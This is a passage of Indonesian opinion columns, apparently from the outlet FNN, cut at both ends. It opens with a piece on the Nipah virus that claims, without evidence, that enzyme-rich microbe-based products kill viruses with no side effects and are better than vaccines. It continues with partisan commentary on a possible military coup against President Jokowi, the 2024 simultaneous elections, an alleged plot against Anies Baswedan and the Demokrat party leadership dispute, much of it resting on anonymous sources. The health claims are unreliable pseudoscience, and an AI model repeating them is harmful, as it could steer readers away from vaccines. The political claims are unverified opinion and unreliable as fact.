penyebarannya. Dapat menular baik langsung maupun konsumsi makanan yang terkontaminasi. Virus nipah berasal dari inang kelelawar buah. Virus ini disingkat dengan nama NiV dan bisa menyebabkan kematian di antara 40-75 persen orang yang terinfeksi. Sejumlah gejala bagi mereka yang terinfeksi, yakni infeksi saluran pernapasan akut, kejang, ensefalitis fatal, hingga koma dalam waktu 24-48 jam. Adapun gejala umumnya yaitu seperti demam, sakit kepala, nyeri otot, muntah, dan sakit tenggorokan. Tinjauan Mikrobioma Potensi pandemi Virus Nipah tersebut bisa juga dilihat dari sudut pandang yang “berbeda”. Hal ini bisa dimaklumi. Karena ketika ada species atau strain tertentu yang dominan di alam ini, akan memicu species/strain-strain lainnya untuk mengalami regeneratif. Hal itu dilakukan dalam rangka mempertahankan eksistensinya di alam ini. Sehingga mereka jumlahnya beratus/ribu kali lipat, dan akhirnya menyebar. Virus atau bakteri-bakteri yang ukurannya kecil-kecil tersebut untuk mampu terbang jauh itu, sesungguhnya membutuhkan bakteri inang sebagai tumpangan mereka, sehingga tidak heran kalau kasus-kasus pandemi tertentu itu, selalu diikuti dengan scunder infeksi yang serius. Bisa jadi, dan sangat mungkin, bakteri inangnyalah yang memicu terjadinya scunder infeksi. Dengan selalu menjaga keseimbangan mikrobioma dalam tubuh kita membuat tubuh kita ini tidak mudah terjangkit penyakit. Selalu mengkonsumsi produk berbasis mikro bakteri sebagai bentuk ikhtiarnya. Makanya, konsep produk berbasis mikroba ini tidak membunuh mereka, tetapi dengan 2 cara, yaitu: merusak protein media regeneratifnya dan merusak struktur sel virus/bakterinya. Selain itu, secara alamiah, bakteri-bakteri komunitas itu akan melakukan koloni atas keberadaan bakteri/virus, untuk selanjutnya dijatuhkan ke tanah, dan kembali ke alam. Ada mekanisme lain, yakni menggunakan enzim-enzim buatannya bakteri-bakteri komunitas. Berdasarkan riset, diyakini terdapat ribuan enzim yang ada di semua produk berbasis mikroba. Tentu saja, mekanisme menggunakan enzim-enzim tadi adalah cara terakhir yang dilakukannya. Mekanisme enzim-enzimnya merusak protein media regeneratifnya, atau memotong sel-sel virus. Cara ini disebut lebih alami, karena yang digunakan multi senyawa, insya’ Allah lebih efektif, dan potensi mutasinya menjadi lebih rendah. Salah satu dasar pemikirannya, enzim yang kompleks itu lebih berdaya guna dibanding enzim tunggal. Serta, berdasarkan hasil-hasil riset, pemakaian enzim kompleks, tidak berpotensi menimbulkan efek samping. Jadi, pemakaian enzim komplek dari hasil produk berbasis mikroba ini, lebih bermanfaat jika dibandingkan dengan pemakaian berbagai produk vaksin! Penulis adalah Wartawan Senior FNN.co.id.

Mungkinkah Presiden Jokowi Dikudeta?

by Tjahja Gunawan Jakarta FNN - DI tengah ramainya persekongkolan politik untuk mengkudeta Ketua Umum Partai Demokrat Agus Harimurti Yudhoyono oleh Jend TNI (Purn) Moeldoko Cs, terbesit dalam benak saya tentang kemungkinan kudeta terhadap Presiden Joko Widodo. Apakah itu mungkin terjadi ? Kalau pertanyaannya seperti judul tulisan ini, maka kemungkinannya bisa saja terjadi. Apalagi beberapa hari lalu, di Myanmar juga telah terjadi kudeta militer atas penguasa sipil di negeri pagoda itu. Kanselir Negara Aung Saan Suu Kyi dan Presiden Win Myint ditangkap. Panglima Tertinggi Jenderal Min Aung Hlaing diberi wewenang penuh memegang kendali militer oleh Penjabat Presiden Myint Swe. Amerika Serikat yang selama ini menjadi pendukung Suu Kyi kecewa atas kudeta ini. Sebaliknya warga muslim Rohingnya yang diusir rezim Aung San Suu Kyi, menyambut gembira peristiwa kudeta tersebut. Berita mengenai penangkapan Suu Kyi itu tersebar dengan cepat di kamp-kamp pengungsi yang penuh sesak di Bangladesh, di mana sekitar sejuta pengungsi Rohingya tinggal. "Dia penyebab semua penderitaan kami," kata tokoh masyarakat Farid Ullah seperti dilansir kantor berita AFP dari Kutupalong -- kamp pengungsi terbesar di dunia. Di era Orde Baru, setiap gejolak politik yang terjadi di negara tetangga Filipina selalu menjadi bahan analisa yang menarik untuk dikaji. Ini karena Presiden Filipina waktu itu Ferdinand Marcos dianggap memiliki kemiripan dengan Presiden Soeharto. Sama dengan Soeharto, Marcos merupakan Presiden terlama di Filipina. Dia menjadi Presiden Filipina sejak tàhun 1965 dan berakhir pada tàhun 1986 setelah digulingkan melalui kekuatan People Power. Nah ketika Marcos digulingkan oleh Corazon Aquino, seorang politisi wanita Filipina tàhun 1986, secara tidak langsung peristiwa politik tersebut telah menginspirasi kalangan sipil di Indonesia. Gerakan People Power di Filipina waktu itu telah membangkitkan semangat warga sipil di Tanah Air yang kemudian akhirnya terwujud dalam Gerakan Reformasi yang terjadi tàhun 1998. Seperti kita ketahui, pada bulan Mei 1998, Soeharto akhirnya bisa ditumbangkan setelah menjadi presiden selama 32 tàhun. Banyak analis politik menyebutkan, Soeharto waktu itu lengser dari kursi presiden bukan sepenuhnya sebagai gerakan people power seperti di Filipina. Proses suksesi di Indonesia waktu itu kental dengan gerakan politik yang awalnya dipicu oleh mundurnya sejumlah menteri kepercayaan Soeharto. Sejarah telah mencatat, Ginandjar Kartasasmita merupakan sosok menteri yang memelopori gerakan politik di jajaran Kabinet Pembangunan yang melawan kekuasaan Soeharto. Kendati sebelumnya dia dikenal dekat dengan Soeharto, tapi toh Ginandjar bersama sejumlah menteri lainnya memilih melawan Soeharto dengan cara ramai-ramai mengundurkan diri dari kabinet. Setelah itu, bola politik bergulir ke lembaga MPR-RI. Ketika itu Ketua MPR Harmoko yang sebelumnya dikenal sebagai loyalis Soeharto saat puluhan tahun menjadi Menteri Penerangan , akhirnya juga ikut mencabut mandat yang telah diberikan MPR kepada Soeharto. Jadi, dengan kata lain, lengsernya Soeharto dari tampuk kekuasaan bukan sepenuhnya karena gelombang aksi mahasiswa. Aksi demo mahasiswa hanya sekedar faktor yang ikut memanaskan situasi politik waktu itu. *Pergantian Panglima TNI* Pertanyaannya, apakah pergantian presiden sekarang bisa dilakukan melalui proses politik seperti yang terjadi tàhun 1998 ? Secara de facto, saat ini sulit mengharapkan pergantian presiden melalui gerakan atau proses politik. Sebab saat ini hampir semua kekuatan parpol sudah dapat dikendalikan rezim oligarki. Memang peran Presiden Jokowi tidak seperti Soeharto yang waktu itu mampu mengontrol semua kekuatan politik yang paling penting yakni ABRI, Birokrasi, dan Golkar (ABG). Namun, kini Presiden Jokowi dikendalikan oleh kekuatan pemilik modal (konglomerat) dan oligarki Parpol. PDIP sebagai partai penguasa, selain mampu mengatur Presiden Jokowi juga bisa "mengatur" suara parpol lain di parlemen kecuali PKS. Dalam contoh sederhana, betapapun besarnya keinginan Presiden Jokowi untuk mengganti Kepala BIN Jenderal Pol (Purn) Budi Gunawan berbarengan dengan reshuffle menteri beberapa waktu lalu, namun kalau Ketua Umum PDI-P Megawati Soekarnoputri tidak setuju, maka keinginan Jokowi pun kandas. Menurut sejumlah sumber di bidang Polkam, Jokowi telah mengajukan beberapa kali usulan untuk mengganti Kepala BIN sebab Budi Gunawan dianggap sudah cukup lama menjabat sebagai Kepala BIN yakni sejak tàhun 2016. "Namun usulan Jokowi tersebut ditolak Megawati. Padahal Jokowi akan memberi tempat jabatan menteri di kabinet kepada Budi Gunawan. Akhirnya, dalam reshuffle kabinet beberapa waktu lalu, Kepala BIN tidak jadi diganti," kata sebuah sumber. Lalu kelompok mana yang potensial untuk melakukan kudeta terhadap Presiden Jokowi? Saya mengamati, kelompok yang sangat potensial untuk melakukan itu adalah jajaran militer. Sedangkan Polisi sudah berada di bawah kendali langsung presiden setelah mendapat anggaran jumbo dari APBN. Selama tàhun 2020 saja, Polri menikmati suntikan dana APBN sebesar Rp 104,7 Trilyun. Dengan demikian, Polri telah menjadi anak emas pasca reformasi, khususnya dengan alokasi anggaran yang besar. Di atas kertas, kecil kemungkinannya pihak kepolisian melakukan kudeta. Justru Polri yang akan mengamankan posisi Presiden Jokowi. Bagaimana dengan kelompok militer TNI ? Meskipun secara institusi lembaga TNI sudah bisa dikendalikan presiden sebagai Panglima Tertinggi, namun di lapisan bawah masih muncul riak-riak kecil dan gesekan akibat adanya kecemburuan yang muaranya bersumber pada perbedaan sumber anggaran antara TNI dan Polri. Kenyataan ini, antara lain misalnya, tercermin dari kasus bentrokan antara kelompok TNI dan polisi di Kawasan Ciracas Jakarta Timur beberapa waktu lalu. Memang masih patut dipertanyakan apakah sebagian prajurit atau perwira TNI yang kecewa itu, akan mampu melakukan kudeta atau tidak. Yang jelas kalau melihat peristiwa kudeta di Myanmar, yang melakukan kudeta adalah pemimpin tertinggi militernya. Momen kudeta militer di Indonesia bisa saja terjadi pada saat proses pergantian Panglima TNI. Seperti diketahui, tàhun 2021 ini Panglima TNI Jenderal Hadi Tjahjanto akan memasuki masa pensiun. Pada tàhun 2014 atau saat pertama Jokowi menjadi presiden berpasangan dengan Jusuf Kalla, tradisi pemilihan Panglima TNI dari tiga angkatan secara bergilir mulai dirombak. Pada periode pertama sebagai Presiden, Jokowi tidak mengajukan nama Kepala Staf Angkatan Laut (KSAL) sebagai pengganti Jenderal Moeldoko dari unsur Angkatan Darat, sesuai dengan tradisi bergilir pengangkatan panglima sebelumnya, tetapi mengangkat KSAD Jenderal Gatot Nurmantyo sebagai Panglima TNI. Gatot Nurmantyo dilantik sebagai Panglima TNI pada 8 Juli 2015. Namun Gatot menjadi Panglima TNI hanya 2,5 tahun, kemudian digantikan oleh Marsekal Hadi Tjahjanto yang sebelumnya menjabat KSAU. Kali ini, Jokowi menerapkan kembali tradisi bergiliran dalam pengangkatan Panglima TNI. Penunjukan KSAU Hadi Tjahjanto sebagai Panglima TNI sesuai dengan UU 34/2004 tentang TNI. Pasal 13 ayat 4 menyebutkan, Panglima TNI dapat dijabat secara bergantian oleh perwira tinggi aktif dari tiap-tiap angkatan yang sedang atau pernah menjabat sebagai Kepala Staf Angkatan. Marsekal Hadi Tjahjanto secara resmi dilantik Presiden Jokowi sebagai Panglima TNI pad 8 Desember 2017. Sebenarnya, Presiden Jokowi juga melakukan penataan organisasi TNI bersamaan dengan penyusunan Kabinet Indonesia Maju 2019–2024. Melalui Peraturan Presiden Nomor 66 Tahun 2019 tentang Susunan Organisasi TNI, yang ditandatangani 18 Oktober 2019, ditetapkan satu posisi baru, yakni Wakil Panglima TNI yang keberadaannya membantu Panglima TNI untuk urusan teknis organisasi. Meski jabatan wakil panglima kembali dihidupkan setelah dihapus tahun 2000, tetapi hingga saat ini belum ada jenderal bintang empat yang ditunjuk mengisi posisi tersebut. Tiga kepala staf dari tiap matra, yakni Angkatan Darat, Angkatan Laut, dan Angkatan Udara berpotensi menjadi wakil panglima di organisasi TNI itu. Menurut sejumlah sumber di bidang Polkam, posisi Wakil Panglima TNI sebenarnya sudah ditawarkan kepada KSAD Jenderal TNI Andhika Perkasa, namun dia menolak jabatan tersebut. Andhika lebih memilih sebagai KSAD karena dianggap lebih penting dan strategis daripada posisi Wakil Panglima TNI. "Jenderal Andhika Perkasa akan lebih memilih jabatan sebagai Panglima TNI ketimbang Wakil Panglima TNI," ujar sebuah sumber di bidang Polkam. Nah, akankah Presiden Jokowi kembali akan mengesampingkan KSAL dan lebih memilih KSAD dalam menunjuk Panglima TNI yang baru nanti ? Jika Presiden Jokowi mau konsisten dengan tradisi giliran dalam penentuan jabatan Panglima TNI, maka Panglima TNI mendatang seharusnya berasal dari angakatan laut, yakni KSAL Laksamana TNI Yudo Margono. Kita lihat saja nanti apakah Panglima TNI baru akan diberikan lagi kepada KSAD atau KSAL. Yang jelas, jika pergantian Panglima TNI ini tidak menimbang dan memperhatikan situasi dan kondisi yang ada terutama keadaan yang dialami para prajurit TNI, akan bisa menimbulkan gejolak keamanan. Dan bukan mustahil akan mendorong terjadinya kudeta militer. Wallohu a'lam bhisawab. ** Penulis adalah Wartawan Senior FNN.co.id.

Pemilu Serentak 2024, Waraskah Itu Pak Presiden?

by Dr. Margarito Kamis SH. M.Hum Ternate FNN - Pemilu dan pilkada memang bisa ditunda. Bisa juga dipercepat, dan diakali dengan seribu satu akal udang dan bulus. Mati tidak. Mati itu pasti. Dia akan mendatangi siapapun sesuai tabiatnya, yang tak tertebak mahluk. Tak ada seorangpun, termasuk Presiden, yang sejauh ini terlihat menolak menyelenggarakan pilkada pada tahun 2022, bisa lari dari kedatangannya. Sebagai mahluk, presiden dengan semua kebesaran artifisialnya, tak dibekali dengan kemampuan untuk menghindari kematian. Nafas akan selalu begitu, menemui akhir yang pasti. Nafas akan berhenti pada waktunya. Selalu begitu dalam rahasianya, kematian mengirim sebab untuk mendahuluinya. Kematian Yang Brutal Tidak seperti pemilu dan pilkada yang bisa diprediksi awal dan akhirnya, mati tidak? Tidak seperti pemilu dan pilkada, mati tak bisa diakali. Kematian punya tabiat sendiri, yang untuk alasan apapun, oleh siapapun, tidak dapat disetarakan dengan pemilu. Mati itu pasti dalam semua aspeknya. Pemilu tidak. Ingat, Pemilu itu, apapun jenisnya, bisa diakali pada semua sudutnya dari awal hingga akhir. Akhir yang menyenangkan untuk siapa? Dan akhir yang pahit untuk siapa? Selalu mudah dikerjakan dan disajikan dalam pemilu. Siapa menang dan siapa kalah, tersaji menjadi hal biasa dalam pemilu dimanapun itu. Termasuk dunia politik sedemokratis Amerika sekalipun. Itulah tabiat bawaan pemilu yang disajikan sejarah. Sejarah sehitam itu, terekam otentik sejak pemilihan konsul di Romawi kuno dan beberapa presiden Amerika. Pemilihan konsul di Romawi kuno tahun 68 setelah masehi terekam oleh Machivelli dengan jual beli suara. Sejarah Romawi itu, dan sejarah pemilu Amerika adalah menjadi sejarah tentang mainan orang berduit. Kaum aristokrat Romawi kuno merupakan blok khusus pada strata patrician inilah yang mengendaslikan pemilihan konsul. Romawi yang memulai tradisi republik, yang dengan itu pemilu diadakan. Memberi sumbangan otentik tentang larangan jual-beli suara. Larangan itu teridentifikasi pada Lex Vigula. Lex ini diprakarsai pembentukannya oleh Vigulus, senator top yang dipercaya Cicero. Markus Tulius Cicero, yang kala itu ikut kontestasi Konsul, mendesaknya membuat lex itu. Cicero cukup yakin dia akan terlempar, bila kelakuan beli-membeli suara yang telah melembaga, yang dilakukan para aristokrat tak dihentikan. Level negarawan yang dimilikinya, diyakini tidak bisa membantunya. Terlalu banyak pemilih yang tidak cukup cerdas. Terlalu banyak pemilih yang tak dapat diandalkan dan diminta mengetahui risiko salah pilih orang. Cicero tahu tanpa UU itu, jabatan Konsul akan jatuh dan jatuh lagi pada kelompok aristokrat, oligarki yang sepanjang sejarah selalu membinasakan itu. Lex vigula memang berhasil membentengi Cicero. Dia menang dan jadilah konsul pada waktunya. Bagaimana dengan Indonesia? Hukum larangan beli-membeli yang diatur dalam UU Pemilu dan Pilkada hanya memiliki daya ledak setara meriam bambu. Bunyinya doang yang gede. Efeknya? Nyamuk pun tak bisa sempoyongan, apalagi mati. Lalu Pemilu yang berintegritas? Itulah omong kosong terbesar dalam politik dan hukum pemilu Indonesia. Pemilu ya uang. Beli ini dan itu dalam nada curang dan sejenisnya dengan segala pembenarannya. Bagaimana dengan pemilu 2019? Itu pemilu pailing brutal, jorok, primitf dan bar-bar. Bahkan lebih jorok, primitif dan brutal dibandingkan dengan pemilu-pemilu otoritarian sepanjang orde baru. Pemilu Presiden, DPR, DPD dan DPRD 2019 tertulis jelas. Pemilu itu tertulis sebagai pemilu menjijikan, dengan duka dan pilu pada dimensi praktisnya. Itulah kenyataan sejarah tata negara dan politik Indonesia dibawah Presiden Jokowi. Lebih dari 800 orang Kelompok Petugas Pemungutan Suara (KPPS) mati. Mereka mati sesaat setelah mengadakan penghitungan suara. Ini otentik dengan ketelanjangannya yang utuh. Pemilu itu juga telanjang untuk ketidakberesan dan ketidaknetralan aparatur negara. Jorok, jijik, brutal, dan sejenisnya memang menjadi penanda pemilu 2019 itu. Entah ambisi murahan khas orang-orang tak beradab, yang tak punya malu, yang menyediakan dirinya menjadi jongos oligarki atau hal lainnya. Kematian tragis KPPS itu berlalu begitu saja. Tak ada investigasi terkordinir dan bertanggung jawab dari pemerintahan Jokowi. Bahkan belasungkawapun, kalau tak salah, tak terucap dari pemerintahan Jokowi. Tragis dan menyedihkan. Main kasar bermantel konstitusionalisme dalam pemilu 2019 itu. Hebat politik konstitutionalisme menerima hasil akhirnya sebagai legal. Konstitusionalisme memang begitu, selalu kalah dan menyerahkan nasibnya pada pemenang. Itu kelemahan terbesar konstitusionalisme. Postur kehidupan tata negara dan politik yang dihasilkan sesudah itu, jelas. Gersang dan main suka-suka, kasar dan habis-habisan terlihat menjadi epistemologi politik sesudah itu. Kearifan kelembagaan yang secara diam-diam diminta oleh demokrasi konstitusional, kini terlihat mengering sempurna. Corak politik berkelas rendahan ini, beralasan diproyeksikan sebagai hasil akhir pemilu “mematikan lagi” dan “brutal lagi” malah “lebih brutal” dan lebih menginjak-injak harkat dan martabat orang pada pemilu 2024 yang diserentakan nanti. Empat kotak saja telah mematikan begitu banyak petugas KPPS, apalagi lima kotak. Masih Waraskah? Hukum konstitusi tak lain merupakan kristalisasi murni ambisi dan kalkulasi partisan yang saling bersaing. Mengerti hukum konstitusi, termasuk yang dibuat oleh Mahkamah Konstitusi (MK) harus dimengerti juga dalam konteks itu. Hukum konstitusi tentang pemilu yang lahir dari putusan MK, entah nomor berapa itu, jelas mewakili perspektif ini. Bagaimana bisa menandai pandangan Bang (almarhum) Slamet Effendy Jusuf (semoga Allah Yang Maha Rahman selalu merahmatinya di alam sana), sebagai pemilu serentak? Bagaimana skema gagasan yang diperagakan Bang Slamet dimengerti sebagai pemilu lima kotak? Skema itu hanya menegaskan pejabat-pejabat untuk jabatan tunggal (Presiden, Gubernur, Bupati dan Walikota), harus dipilih. DPR, DPD dan DPRD juga harus dipilih. Tidak ada yang diangkat. Itu saja. Itu substantial intenttion dari gagasan yang diperagakan Bang Slamet. Tidak lebih dari itu. Hukum konstitutsi final saat ini secara kategoris menempatkan pilkada sebagai bukan pemilu. Memang saat ini sengketa pilkada diperiksa, diadili dan diputus oleh MK. Tetapi itu sepenuhnya disebabkan peradilan khusus yang diperintahkan pembentukannya oleh UU Nomor 10 tahun 2016 tentang Pemilihan Gubernur, Bupati dan Wali Kota belum dipenuhi. Kecuali mau menyebut hukum konstitusi tentang pemilu saat ini sebagai hukum suka-suka, seenaknya saja, asal saja, penggabungan pemilu presiden dan legislatif di level pusat dengan pilkada, jelas tidak waras. Sekali lagi itu pelaksanaan demokrasi yang tidak waras. Kalau akhirnya kedua jenis pemilihan ini disatukan, dan diserentakan penyelenggaraannya pada pemilu 2024, maka sempurnalah sifat “suka-suka” pada hukum pemilu. MK jelas punya andil besar atas lahirnya hukum suka-suka ini. Ahli hukum bukan jongos, bukan juga penjilat, entah apa namanya, memang bisa menemukan argumentasi penyatuan ini. Sekali lagi bisa. Ahli hukum yang bukan jongos dan babu politik bisa saja beragumen pemilu dan pilkada sebagai dua peristiwa hukum, yang secara konstitusional disifatkan sebagai dua hal hukum berbeda. Argumentasi justikatif itu tidak akan dapat dilihat lain, selain sekadar memoles kedangkalan penalaran dan inkonsistensi dari lembaga yang namanya MK. Pak Presiden, dengan segala hormat, saya sarankan abaikan putusan MK itu. Putusan itu tidak logis. Kalau kontraksi politik membayangi Pak Presiden sehingga harus diikuti, maka waras sekali kalau pelaksanaannya dipisahkan. Karena memang harus dipisahkan. Serentak pada satu waktu untuk pemilu Presiden, DPR dan DPD. Dan serentak pada waktu yang lain untuk pemilihan Gubernur, Bupati, Walikota, DPRD Provinsi, kabupaten dan Kota. Itu cara waras merawat kehebatan bangsa, yang kian mengering, dan mencekam hari demi hari ini. Menyerentakan pemilu dan pemilihan kepala daerah, termasuk DPR provinsi, kabupaten dan kota bukan takdir konstitusi. Juga bukan takdir republik. Republik hanya punya takdir jabatan-jabatan itu harus diisi dengan cara dipilih. Mereka dipilih oleh rakyat. Republik ini menakdirkan mereka sebagai sumber kekuasaan. Itu saja. Tidak lebih. Jadilah orang besar. Orang besar menandai dirinya dengan kualitas dan kapasitas mengenal yang tak dikenal, dengan citarasa arif yang tak terjangkau politisi kacangan. Jadilah orang besar yang mampu membalut nafas, fikiran dan tindakannya dengan cita rasa menahan diri yang tak biasa. Konstitusi tak selalu indah. Tetapi bisa sangat indah dan menjadi kekuataan yang di Amerika ditunjuk sebagai penyumbang kejayaan mereka, karena dua hal. Putusan hakim dan keputusan pemimpin politik, khususnya Presiden. Presiden-presiden hebat memandu kehebatannya dengan kearifan. Mereka tahu kearifan pemimpin politik memiliki tempat istimewa dalam demokrasi. George Washington, Thomas Jefferson, Ulisius Grant, dan lainnya, memenuhi kualifikasi itu. Mereka membuat konstitusi dan demokrasi terlihat hebat, dalam sifatnya sebagai modal politik tak tergantikan. Toleransi terhadap sikap lembaga lain, itu juga yang diminita demokrasi konstitusional menghidupkan mimpi-mimpi konstitusi. Golkar, Nadem, PKS dan Demokrat, untuk alasan separtisan apapun, tidak dapat dibilang menyimpan amibis lain atas gagasan agar pemilihan kepala daerah tetap dilaksanakan pada tahun 2022 ini. Waras mereka. Ada sisi kemanusiaan yang timbangannya begitu berat dalam gagasan itu. Partai-partai itu terasa tidak sedang main kasar, apalagi main habis-habisan sampai menabrak, menghancurkan prinsip-prinsip konstitusi. Sama sekali tidak. Nelar mereka waras. Terlihat nyata citarasa penghormatan kemuliaan manusia dalam gagasan itu. Demokrasi itu ada karena ambisi memuliakan manusia, bukan mematikan melalui politik tak yang waras dan jorok. Jangan ada lagi KPPS yang mati. Tetapi KPPS akan mati lagi, bila pemilu dan pemilihan kepala daerah diserentakan pada waktu yang bersamaan. Menghindarinya akan terasa seperti kerbau menangkap angin disenja hari. Mimpi Golkar, Nasdem, PKS dan Demokrat itu masuk akal. Ada cahaya terang kemanusiaan yang dijanjikan akan menyinari jalannya bangsa ini. Lupakanlah sejenak ambisi partisan. Sejukkanlah bangsa ini sesejuk embun pagi. Waras memang menyambut gagasan mereka. Renungkanlah itu Pak Presiden agar terlihat waras. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Menjegal Anies Baswedan & Menguatnya Posisi Tito Karnavian

by Tarmidzi Yusuf Bandung FNN - Sebenarnya tulisan ini merupakan dua tulisan saya yang dirilis setahun yang lalu. Prediksi dan analisis yang disajikan banyak bersesuaian dengan kondisi objektif politik hari ini. Pertama, tulisan tentang “Anies Baswedan Dihadang Skenario 2022 Tidak Ada Pilgub DKI”. Penulis rilis 19 November 2021. Kedua, tulisan penulis, 25 Januari 2020 tentang Posisi Strategis Tito Karnavian dan Upaya Menjatuhkan Anies Baswedan Menjelang 2024. Dua tulisan tersebut sengaja saya angkat lagi. Sehubungan Rancangan Undang-Undang (RUU) Pemilu yang sedang hangat dibahas DPR. Melihat peta politik DPR hari ini, termasuk prediksi pecah kongsinya Anies Baswedan dan Gerindra di tahun 2024. Kemungkinan tahun 2022 dan 2023 tidak ada Pilkada serentak termasuk DKI Jakarta. Menurut Undang-Undang No 10/2016, Pilkada serentak dilakukan pada 2015, 2017, dan 2018. Kemudian akan dilakukan lagi pada 2020 sebagai lanjutan Pilkada 2015. Pilkada 2022 adalah lanjutan dari Pilkada 2017, dan 2023 lanjutan Pilkada 2018. Pada Pilkada 2024, akan diikuti seluruh daerah yang melakukan Pilkada pada 2020, 2022, dan 2023. Konsekuensinya, pemenang Pilkada 2020 hanya akan menjabat selama empat tahun. Sementara untuk Pilkada 2022, dan 2023 akan dipilih pejabat kepala daerah (jika UU Pemilu tidak direvisi) untuk mengisi kekosongan, sambil menunggu Pilkada 2024. Hal ini merujuk pada UU Nomor 10 Tahun 2016 yang merupakan perubahan kedua atas UU Nomor 1/2015 tentang Peraturan Pemerintah Pengganti Undang-undang (Perppu) nomor 1 tahun 2014 tentang Pemilihan Gubernur, Bupati dan Walikota. Pilgub DKI Jakarta akan digelar pada 2022. Merujuk pada UU No 10/2016 ada kemungkinan Pilgub DKI Jakarta tahun 2022 ditiadakan. Akan digelar serentak pada tahun 2024 berbarengan dengan Pilpres. Artinya, selama 2 tahun hingga 2024 DKI Jakarta akan dijabat oleh Pejabat Gubernur. Untuk pertama kalinya, Indonesia berencana menyerentakkan pilkada, pileg, dan pilpres pada 2024. Tercatat ada 541 daerah yang akan menggelar pilkada selanjutnya. Selama tidak ada revisi UU Pemilu Nomoe 10 tahun 2016, klausul kepemimpinan pejabat kepala daerah sampai tahun 2024 berlaku. Posisi Tito Karnavian sebagai Menteri Dalam Negeri dinilai sangat strategis untuk maju pada Pilpres 2024. Bila UU Pemilu tidak direvisi, ada sekitar 25 Pejabat Gubernur diangkat oleh Mendagri Tito Karnavian. Tito Karnavian atas restu Jokowi bisa membangun 'kekuatan politik' melalui penunjukan sekitar 25 Pejabat Gubernur termasuk DKI Jakarta, Jawa Barat, Jawa Tengah dan Jawa Timur. Tiga propinsi lumbung suara Pilpres 2024. Membangun kekuatan politik diluar jalur partai, karena keduanya tidak punya posisi strategis di partai dan Tito Karnavian bukan orang partai. Tidak menutup kemungkinan bakal ada skenario beberapa jenderal polisi aktif turun gunung. Ditunjuk sebagai pejabat gubernur di ketiga propinsi yang paling potensial untuk mengantarkan Tito Karnavian ke kursi Presidenan. Selain jenderal polisi aktif bisa juga pejabat sipil loyalis Tito Karnavian ditunjuk sebagai pejabat gubernur, bupati dan walikota. Masalahnya kemudian adalah partai apa yang bakal mengusung Tito Karnavian? Disinilah kita memahami kenapa Moeldoko, pensiunan Jenderal AD 'berambisi' mengambil alih Partai Demokrat. Orang-orang dilingkaran Istana sedang berkompetisi merebut tiket pilpres 2024. 'Adu kuat' mantan Kapolri vs mantan Panglima TNI. Belajar dari Pemilu 2019, dimana Pileg dan Pilpres disatukan telah banyak menelan korban jiwa. Lebih dari 894 orang petugas pemilu meninggal, yang hingga kini masih menjadi misteri penyebab kematian ratusan petugas pemilu tersebut. Tidak dapat kita bayangkan bila 2024 Pileg, Pilpres dan Pilkada disatukan. Mungkin saja ribuan petugas pemilu harus merenggang nyawa. Belum lagi money politic dan kongkalikong penyelenggara pemilu dengan kandidat presiden, caleg dan kandidat kepala daerah sulit untuk dikontrol. Bisa jadi akan menimbulkan 'kekacauan nasional'. Resistensi konflik dan perpecahan sangat tinggi. Sebaiknya dikaji lagi penyatuan pemilu yang rentan manipulasi dan korban meninggal dunia. Revisi UU Pemilu menjadi hal yang sangat penting untuk menghindari kekacauan dan kecurangan nasional. Revisi tentang pemilu serentak (pileg, pilpres dan pilkada) dan sulitnya pembuktian kecurangan di Mahkamah Konstitusi (MK). Adalah mustahil kecurangan bisa dibuktikan di UU yang sekarang. Keterlibatan Polisi dan TNI di Bawaslu dan Panwaslu di semua level baik nasional maupun daerah untuk menjamin netralitas Polisi dan TNI dalam pemilu. Sudah menjadi rahasia umum, kalau ada kelompok politik tertentu yang punya track record curang dan bengis kepada rakyatnya sendiri. Seperti dipertontonkan pada Pilpres 2019 yang lalu. Akhirnya, terjawab sudah misteri kenapa Mendagri dijabat oleh Tito Karnavian. Padahal pada periode pertama Jokowi menjadi jatahnya PDIP. Apalagi Kapolri yang sekarang, Jenderal Listyo Sigit Prabowo merupakan loyalis Jokowi. Munculnya kekuatan politik baru dari jenderal polisi memungkinkan presiden selanjutnya dari jenderal polisi dengan dukungan kelompok jenderal merah dan kekuatan politik “siluman” yang punya segalanya (uang, jaringan, intelijen dan media). Prediksi saya, bila kekuatan politik Islam lemah dan mau “dilemahkan”, presiden 2024 kemungkinan besar tipikalnya seperti Jokowi. Presiden yang didukung oleh kelompok jenderal merah dan kekuatan politik “siluman” yang mengontrol politik dan ekonomi 5 tahun terakhir. Disinilah kenapa Anies Baswedan sebagai calon Presiden yang memiliki peluang besar untuk menang, mau dijegal melalui RUU Pemilu yang meniadakan Pilkada serentak 2022 dan 2023. Selanjutnya, terserah pecinta NKRI dan ummat Islam. Mau pasrah dengan keadaan karena lemahnya posisi politik atau bangkit dari keterpurukan untuk melawan. Bangkit untuk melawan agenda terselubung dari pembenci Islam yang secara terbuka telah melakukan deislamisasi, baik secara politik, ekonomi, pendidikan dan dakwah Penulis adalah Pegiat Dakwah dan Sosial.

Kudeta Terhadap AHY dari Istana?

by M. Rizal Fadillah Bandung FNN – Kuderta menjadi istilah yang sedang "in" saat ini. Dalam kancah internasional, ada peristiwa kudeta militer atas penguasa sipil di Myanmar. Kanselir Negara Myanmar, Aung Saan Suu Kyi dan Presiden Win Myint ditangkap. Panglima Tertinggi Jenderal Min Aung Hlaing diberi wewenang penuh memegang kendali militer oleh Penjabat Presiden Myint Swe. Amerika Serikat yang selama ini menjadi pendukung setia Suu Kyi tentu saja kecewa atas kudeta ini. Sementara di dalam negeri, lagi ramai pula rencana kudeta atas Agus Harimurti Yudhoyono (AHY) dari jabatan Ketum Partai Demokrat oleh gerakan Moeldoko yang sekarang menjabat sebagai Kepala Kantor Staf Kepresidenan (KKSP). Rencananya AHY mau dikudeta melalui upaya Kongres luar Biasa (KLB). Gonjang-ganjing dan situasi panas di partai yang rada malu-malu untuk beroposisi atau setengah oposisi ini cukup mengejutkan. Sabab rupanya rezim Jokowi ingin menaklukan semua Partai politik yang ada di parlemen. Tinggal Partai Demokrat dan PKS saja yang belum "bergotong royong" dengan Pemerintahan Jokowi. AHY pun berkirim surat segala kepada Presiden Jokowi untuk klarifikasi. Menteri Kordinator Bidang Politik, Hukum dan Keamanan (Menkopolhukam)Mahfud MD dalam cuitannya membantah ikut dan tahu soal rencana kudeta di tubuh Partai Demokrat terhadap AHY tersebut. Disamping Moeldoko, ada beberapa menteri yang dicurigai terlibat dengan rencana ini. Sayangnya rencana kudeta ini keburu diketahui oleh kubu AHY. Moeldoko menyatakan, keterlibatan dalam persoalan Partai Demokrat sebagai uruan pribadi. Tak berkaitan dengan Presiden Jokowi ataupun kedudukannya sebagai Kepala KSP. Moeldoko berujar, bahwa kudeta itu dari dalam 